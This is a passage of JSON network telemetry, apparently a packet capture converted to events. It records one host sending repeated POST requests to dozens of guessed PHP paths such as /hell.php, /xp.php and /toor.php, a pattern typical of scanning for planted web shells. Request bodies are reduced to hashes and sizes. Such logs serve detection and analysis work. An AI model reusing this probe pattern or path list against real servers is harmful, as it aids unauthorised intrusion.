            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256096.218241000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/api.php",
            "http.response_in": "1618",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/api.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-34d898d72bff53ee2f55c17c",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "232a8b0a5755ac6497c68ab10572b17d4318b1e01961bbad679b0061d3ad60d0",
          "frame_number": 1616,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577256097.440516000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/s1.php",
            "http.response_in": "1621",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/s1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-800fbd571edf11ad144a6e87",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "9ef810f8bb32ec089c435d94fc83bb1641adbda32a06e2205b9d71d1930177ed",
          "frame_number": 1620,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256097.780303000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/hello.php",
            "http.response_in": "1624",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/hello.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-93ac2965588039e8e89fbd5b",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "472d1c07fb6fa554f291c056580ee3b57ccc6f1eb3acde8c114f0e9d072ebcdd",
          "frame_number": 1623,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256098.611587000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/hello.php",
            "http.response_in": "1627",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/hello.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-75f3ced0926e6c67b4764def",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 1626,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256102.501321000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/admn.php",
            "http.response_in": "1631",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/admn.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d6c356120e30f0ecdfeaa433",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 1629,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256105.604777000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/hell.php",
            "http.response_in": "1645",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/hell.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-219d4345a68df19e255003cd",
          "src_port": 57615,
          "tcp_stream": 54,
          "udp_stream": null,
          "body_sha256": "8567e5edc0206dfb26058c1a3aff7e3c257d4946139bde76fdb9372a68a1cb15",
          "frame_number": 1643,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256121.994922000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xp.php",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xp.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-eb63111a0995021b5012f464",
          "src_port": 57615,
          "tcp_stream": 54,
          "udp_stream": null,
          "body_sha256": "8ec7ddf4593322ed0347f57f4f2d156532cc66f8d9fff664cb23d0e05a13adc4",
          "frame_number": 1648,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256127.254640000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xp.php",
            "http.response_in": "1657",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xp.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4f8e9b0139af14320eb5a795",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "8ec7ddf4593322ed0347f57f4f2d156532cc66f8d9fff664cb23d0e05a13adc4",
          "frame_number": 1655,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256127.535630000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/1.php",
            "http.response_in": "1660",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-506e00106571e19ea5b88e39",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1659,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256131.504197000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/2.php",
            "http.response_in": "1663",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/2.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-87701d51ddbd8f7795609d41",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "472d1c07fb6fa554f291c056580ee3b57ccc6f1eb3acde8c114f0e9d072ebcdd",
          "frame_number": 1662,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256131.976058000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/p.php",
            "http.response_in": "1666",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/p.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-340c166d26ea4298e3dcdf17",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "ce00fb93bdd8799116dee501491619b2987f56bcff2e1260e6e72e0714e0f28f",
          "frame_number": 1665,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256132.243514000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/1.php",
            "http.response_in": "1669",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-62980d1a0748736c17a5c99b",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 1668,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256133.203563000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/a.php",
            "http.response_in": "1672",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/a.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b54f3076372489ef2c774f83",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 1671,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256133.662267000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/m.php",
            "http.response_in": "1676",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/m.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-37536458723d60998db8f6c8",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 1674,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256136.077006000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/conf.php",
            "http.response_in": "1679",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/conf.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-bc6f57c8abd083ebfd40a276",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 1678,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256136.344183000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/123.php",
            "http.response_in": "1682",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/123.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a8ce0c7745101643d0861276",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "493b4ab19faeb49509e1a9b730e3f970e311445cf1e18bbd8712ff971b2d3a78",
          "frame_number": 1681,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577256136.611454000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/1234.php",
            "http.response_in": "1685",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/1234.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e3ec7888b0ae2b596d90e6e5",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "493b4ab19faeb49509e1a9b730e3f970e311445cf1e18bbd8712ff971b2d3a78",
          "frame_number": 1684,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577256136.878957000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/HX.php",
            "http.response_in": "1688",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/HX.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-9e9c6fc1c4e878ea9e9a3c97",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "493b4ab19faeb49509e1a9b730e3f970e311445cf1e18bbd8712ff971b2d3a78",
          "frame_number": 1687,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577256137.146098000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/diy.php",
            "http.response_in": "1691",
            "http.content_length": "26",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/diy.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-11939671e073e248c7d82c8e",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "b1597d3c8c9f4c8eea1125a279a43e1e8c4c9e31d8fa454dec7c527bb7514bbd",
          "frame_number": 1690,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 26,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 26,
          "timestamp_epoch": "1577256137.413851000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/666.php",
            "http.response_in": "1694",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/666.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-32b0ee29998654823e9c008b",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "493b4ab19faeb49509e1a9b730e3f970e311445cf1e18bbd8712ff971b2d3a78",
          "frame_number": 1693,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577256138.280301000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/777.php",
            "http.response_in": "1697",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/777.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8dbb4add934e4b2eb46f1f17",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "7c9a5898114672ea44e5499fe2119e49e88c5b0c42b002fbbe01bc82fa13a5f8",
          "frame_number": 1696,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256138.548845000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qwq.php",
            "http.response_in": "1700",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qwq.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-0b5837812a225672e7f4bdaa",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "ce00fb93bdd8799116dee501491619b2987f56bcff2e1260e6e72e0714e0f28f",
          "frame_number": 1699,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256138.994329000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qwqw.php",
            "http.response_in": "1703",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qwqw.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-20d097b04b2507ef06dd732a",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "067918e6f6b562d39358996bd0ac8ca5aedd37fea124afd6656e8a1328b14a47",
          "frame_number": 1702,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256139.261556000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/.php",
            "http.response_in": "1706",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-660dc8ca4807746c7306960d",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 1705,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577256139.528820000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/infos.php",
            "http.response_in": "1709",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/infos.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e95c332d7c9acf7baa28443e",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "c392f0b33c844ce01c1e49f41b76ff4afabd2aa9ba990aeede430cab19f9605e",
          "frame_number": 1708,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256139.796264000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/x.php",
            "http.response_in": "1712",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/x.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7ba5da124a83b84942848e21",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1711,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256141.280270000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/zzk.php",
            "http.response_in": "1717",
            "http.content_length": "26",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/zzk.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b5f72036c758672464a16ec6",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "3ef3aa42bc88de9043ac872bc1b24e2f530f244ee2b924e6891caa396ac68362",
          "frame_number": 1716,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 26,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 26,
          "timestamp_epoch": "1577256144.844610000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/toor.php",
            "http.response_in": "1720",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/toor.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-605b7b1a52fc9ad9b81cf6be",
          "src_port": 58175,
          "tcp_stream": 55,
          "udp_stream": null,
          "body_sha256": "3b690b1cc0bb875bb2dbb1a06c9ba84ede108e11e702b0582ebc0a29819edd24",
          "frame_number": 1719,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256145.647566000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
